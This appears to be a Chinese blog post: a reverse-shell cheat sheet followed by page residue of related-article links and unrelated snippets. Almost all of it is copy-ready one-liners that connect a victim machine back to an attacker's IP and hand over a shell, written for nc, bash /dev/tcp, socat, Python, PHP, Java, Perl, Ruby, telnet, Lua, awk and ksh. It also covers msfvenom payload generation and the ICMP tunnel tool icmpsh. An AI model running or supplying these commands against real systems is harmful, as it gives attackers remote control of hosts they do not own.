跨边界传输之反弹shell
反弹shell
1.nc
正向连接
攻击机
nc-vv 受害者ip 受害者port
受害者
nc-lvvp受害者port - e /bin/bash
反向连接
攻击机
nc -lvvp 攻击机port
受害者
nc -vv攻击机ip 攻击机port -e /bin/bash
聊天/传文件
发送方
nc -lvvp 自己的port <文件
接收方
nc -vv发送方ip 发送方port > 文件
2.bash
接收端(hackip,公网)
nc -lvvp 端口
发送端(受害者)
bash -i >& /dev/tcp/hackip/hack端口 0>&1
0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31
3.socat
tcp反弹
接收端(攻击机)
socat TCP-LISTEN:端口 -
发送端(靶机)
linux
socat exec:’bash -i’,pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
windows
socat.exe exec:’cmd.exe’,pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
udp反弹
接收端(攻击机)
socat udp-listen:端口 -
发送端(靶机)
linux
socat udp-connect:ip:port exec:’bash -i’,pty,stderr,sane 2>&1>/dev/null &
windows
socat.exe udp-connect:192.168.5.108:30000 exec:’cmd.exe’,pty,stderr,sane
4.python
接收端(攻击机)
nc -lvvp port
发送端(靶机)
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“接收端ip”,接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
5.php反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
php -r ‘$sock=fsockopen(“接收端ip”,接收端端口);exec(“/bin/sh -i <&3 >&3 2>&3”);’
6.JAVA反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()
7.perl反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
perl -e ‘use Socket;$i=”ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
8.ruby反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
ruby -r socket -e ‘exit if fork;c=TCPSocket.new(“ip”,”port”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
9.telnet反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
10.lua反弹
接收端(攻击机)
nc -lvvp port
发送端(靶机)
lua -e “local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘ip’,port);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”
11.awk
接收端(攻击机)
nc -lvvp port
发送端(靶机)
awk ‘BEGIN{s=”/inet/tcp/0/ip/port”;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’
12.ksh/tsh/zsh/sh
接收端(攻击机)
nc -lvvp port
发送端(靶机)
ksh -c ‘ksh >/dev/tcp/ip/port 2>&1 <&1’
13.通过msfvenom生成反弹shell的payload
1.msfvenom -l payloads | grep 工具
2.msfvenom -p payload LHOST=监听机IP LPORT=监听端口
14.icmpsh
接收端
./icmpsh-m.py
发送端
icpmsh.exe -t 接收端ip
跨边界传输之反弹shell的更多相关文章
- 内网渗透之跨边界传输 - 反弹shell
大年初一,当然是更一篇重磅文章啦 反弹shell /bin目录下带sh的都是shell nc 1.正向连接,目标机监听自身端口,攻击机主动建立连接 目标机:nc -lvvp 端口 -e /bin/ba ...
- 内网渗透之跨边界传输 - LCX转发
跨边界转发 端口转发 lcx 流程 目标机 ./lcx -slave 跳板机ip 监听的端口 127.0.0.1 要转发的端口 跳板机(公网) ./lcx -listen 监听的端口 转发给攻击机访问 ...
- 记一次对python反弹shell的分析
前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.A ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- 小迪安全 Web安全 基础入门 - 第一天 - 操作系统&名词&文件下载&反弹SHELL&防火墙绕过
一.专业名词 1.POC:(Proof of Concept),即概念验证.漏洞报告中的POC是一段说明或一个攻击的样例使读者能够确认这个漏洞是真实存在的. 2.EXP:exploit,即漏洞利用.对 ...
- icmpsh之icmp反弹shell
一,技术原理 向ping www.baidu.com时,本机会先向百度的服务器发送ICMP请求包,如果请求成功了,则百度服务器会回应ICMP的响应包 引用百度百科: ICMP(Internet Con ...
- 各种环境下反弹shell
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 -u 则 ...
随机推荐
- Java学习日报7.19
/** * *//** * @author 86152 * */package interest;import java.util.Scanner;public class Interest{ pub ...
- SpringBoot异常处理(一)
ERROR:严重问题,我们无法处理 EXCEPTION:RuntimeException 编译期不检查,出现问题需要我们修改代码 非RuntimeException(CheckedExceptio ...
- 4.简单的 GNU 汇编语法
芯片启动时很多设备没有初始化,需要汇编语言进行准备. 简单的GNU汇编语法: 1 label: instruction @ comment label :标号,类似于外号,为所在位置做标号,可以通过这 ...
- 买卖股票的最佳时机 III
给定一个数组,它的第 i 个元素是一支给定的股票在第 i 天的价格. 设计一个算法来计算你所能获取的最大利润.你最多可以完成 两笔 交易. 注意:你不能同时参与多笔交易(你必须在再次购买前出售掉之前的 ...
- Tensorflow--------tf.nn库
1.tf.nn :提供神经网络相关操作,包括卷积神经(conv),池化操作(pooling),归一化,loss,分类操作,embedding,RNN,Evaluation. 2.tf.layers:高 ...
- Flutter 应用入门:路由管理
路由(Route)在移动开发中通常指页面(Page),这跟web开发中单页应用的Route概念意义是相同的,Route在Android中通常指一个Activity,在iOS中指一个ViewContro ...
- docker logs 查看容器日志操作
查看日志 官方文档:https://docs.docker.com/engine/reference/commandline/logs/ # 查看指定数量的实时日志 # docker logs -tf ...
- stat filename
查看文件的mtime,atime,ctime 3个时间
- 技术实践丨React Native 项目 Web 端同构
摘要:尽管 React Native 已经进入开源的第 6 个年头,距离发布 1.0 版本依旧是遥遥无期."Learn once, write anywhere",完全不影响 Re ...
- golang语言初体验
Go(又称 Golang)是 Google 的 Robert Griesemer,Rob Pike 及 Ken Thompson 开发的一种静态强类型.编译型语言.Go 语言语法与 C 相近,但功能上 ...